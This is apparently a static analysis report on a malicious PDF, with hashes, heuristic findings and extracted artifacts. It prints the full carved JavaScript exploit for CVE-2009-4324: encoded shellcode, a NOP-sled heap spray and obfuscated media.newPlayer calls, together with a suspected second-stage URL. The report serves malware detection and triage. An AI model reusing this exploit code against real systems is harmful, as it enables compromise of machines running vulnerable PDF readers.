Malicious PDF — malware analysis report

Static analysis result for SHA-256 db7afc50d9f1a195…

MALICIOUS

PDF

92.8 KB Created: 2010-06-29 10:14:47 +08:00 Authoring application: Acrobat 编辑器 8.0 (via Adobe Acrobat 8.0) First seen: 2026-05-11
MD5: bd2a37436859160dd75dfb97c903206a SHA-1: c80e2848291ec39052adca8bdf359b14a8184688 SHA-256: db7afc50d9f1a195872ff121955b0c995fe6af3ef0ebc7fb19386419e12851f7
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript that exploits CVE-2009-4324 using the media.newPlayer sink. This JavaScript is obfuscated and likely downloads a second-stage payload from the external URI http://www.fineprint.cn. The presence of a secondary embedded PDF also suggests a multi-stage attack. The confidence is high due to the critical heuristic firings related to the CVE exploit and the embedded JavaScript.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9940

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Secondary embedded PDF body has suspicious static findings critical POLYGLOT_CHILD_PDF_STATIC_TRIAGE
    A valid PDF body was found at a nonzero offset inside another container and its carved contents matched PDF exploit or lure heuristics. This catches polyglots where the top-level magic routes to ZIP/OLE while a PDF reader or downstream parser opens the hidden PDF payload.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
     var nop =  unescape("\x25\x750c0c");
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • External URI info PDF_URI
    PDF contains an external URL action
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.fineprint.cn PDF link annotation
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 9

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0021_000.js pdf-javascript-stream PDF /JS object 21 at offset 0x514 2371 bytes
SHA-256: 46792053a45d159ff594f2b6f0f4fd5afdb02de252a83fbb1c36c137f58ad9a8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 2 long base64-like blob(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script
First 1,000 lines of the extracted script
var TCfIpiOxOYTTeNgDQsDQaDtVjQ;
for(i=0;i<18000;i++)
TCfIpiOxOYTTeNgDQsDQaDtVjQ = TCfIpiOxOYTTeNgDQsDQaDtVjQ+0x70;

function AppendLoop(ss,len)   
{   
	for(slen=0;slen<len;)
	{
      ss +=ss;
	  slen = ss.length;
	}
	return ss;
}  

function urpl(k,sc)
{
	var c = "u";
	var kc=k+c
	var re = /XX/g;
	sc = sc.replace(re,kc);
	return sc;
}

var une = unescape;

var sc = "XXc8d9XX74d9XXf424XXeebaXXe0ecXX29deXX5fc9XX37b1XX5731XX8314XX1001XX2602XX4207XXdee0XX55eeXXdee4XXeceeXXbabfXXdc4fXXdee0XX67eeXXd2a0XX9c65XX73fcXX8465XX8fe8XX9965XX55dcXXc29aXXdd98XXba1bXXa86bXXefceXXed15XXa527XX73a1XX29edXX05d3XX52e1XXe6f0XX981cXX1fe8XXe125XX04e3XX07aeXXe511XX99f1XX8007XXb265XXddc4XX8a33XXd26bXX67a5XXc2beXX31edXXda6bXXef65XX7525XX0eb7XXed5cXX6f35XXda23XXec84XX21b3XX10b9XXd9dbXX1f9bXX8169XX7512XX8cb2XX9b11XX21e4XX1099XX891fXX7516XX9e8aXXec86XXdef0XX13eeXXd697XX13bcXX2ab7XXab67XXb418XX61eeXX2aa7XX13beXXd697XX9b11XX2118XX1099XX891fXX671eXXd2afXXab65XX1e18XXd3e6XXee60XXacadXX2902XXbb11XX3618XX13a3XX211fXX89f8XXce1aXX26baXX4f4fXXe442XXa83aXX7743XX019dXX9fbeXXdee1XXce2cXXdee0XXd44fXXdee1XXeeaeXXdee0";
sc = une(urpl("%",sc));

function j_exp()   
{ 

	var a = "\x6D\x65\x64";
	var c = "\x69\x61";
	var b = "\x6E\x65\x77\x50\x6C\x61\x79";
	var d = "\x65\x72";
	var e = "\x6E\x65\x77\x20\x44\x61\x74\x65\x28\x29";
	var f = "\x70\x40\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31";
	var g = "\x20\x3A\x20\x79\x79\x79\x79\x31\x31\x31";
	var h =  "\x70\x72\x69\x6E";
	var i =  "\x74\x64";
	var j = h+i;
	var str1="XX0d0cXX0d0cXX0d0cXX0d0cXX4170XX6d7aXX554bXX4d67XX794fXX514fXX6f4dXX585aXX764fXX4c56XX6f4bXX4858XX4249XX666dXX566fXX625aXX4567XX7568XX6a46XX5258XX714eXX7961XX7a61XX4878XX756bXX754dXX4c57XX647aXX5870XX4d46XX4462XX4b4f";
	str1 = une(urpl("%",str1));
	var nop =  unescape("\x25\x750c0c");

	nop = AppendLoop(nop,18000);
	memory=new Array();
	for(i=0;i<0xE00;i++)memory[i] = nop+sc;


	if(app["\x76\x69\x65\x77\x65\x72\x56\x65\x72\x73\x69\x6F\x6E"]<9)
	{
	util[j](f+g, e);
	util[j](f+g, e);
	try {this[a+c][b+d](null);} catch(e) {}
	util[j](f+g, e); 
	}
	else
	{
	util[j](f+g, e);
	util[j](f+g, e);
	try {this[a+c][b+d](null);} catch(e) {}
	util[j](str1,e);

	}

}

if(app["\x76\x69\x65\x77\x65\x72\x56\x65\x72\x73\x69\x6F\x6E"]<9.3)
{
	j_exp();  
}
legacy_pdfkit_stage_000.js deobfuscated-js string-concatenation normalized Acrobat API aliases at offset 0x514 126 bytes
SHA-256: 42c3f4df375ff6f58ff655cc4f88b5cc28f0dd33b978390db3538684a6219b74
Preview script
First 1,000 lines of the extracted script
media.newPlayer(null); /* AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA */
font_00_sfnt_off000078b1.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x78B1 23872 bytes
SHA-256: c5a05d2ca966c64fa2d86fe9cfbdcfafeac6ffbc04155f0086fe5d7e173b7501
font_01_sfnt_off0000b9cc.bin pdf-font-stream PDF embedded font (sfnt) at offset 0xB9CC 26076 bytes
SHA-256: 2f8b1869bde14dfb740c8396a7b517efb19b3b5aface11d70dea7fb82847194e
font_02_sfnt_off0000fe54.bin pdf-font-stream PDF embedded font (sfnt) at offset 0xFE54 17932 bytes
SHA-256: 08f370c1d6386ee8aa54fbb27fca0a36c2ce5636f48ec7f358aa63b03f8d15d1
font_03_sfnt_off00012ccd.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x12CCD 9940 bytes
SHA-256: 1f4747b4e02f482ebae067058f2d9d938427949329c4ead852081e38924180c6
font_04_sfnt_off00014f43.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x14F43 3200 bytes
SHA-256: da221eaf9c0703b15f52b4a6970fa71a439df3d18f75c8d84d8a42bde6044dfb
polyglot_child_pdf_off00006112.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x6112 70206 bytes
SHA-256: 55de2de774c2bbe389184955adf9413bb0434d997c8aa876ff7b3960394ebc30
polyglot_child_pdf_off00015b63.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x15B63 6125 bytes
SHA-256: 0b1c923c8a0028794f3a3244dc498786746334f394e41678cc58ffbeb707d0a8

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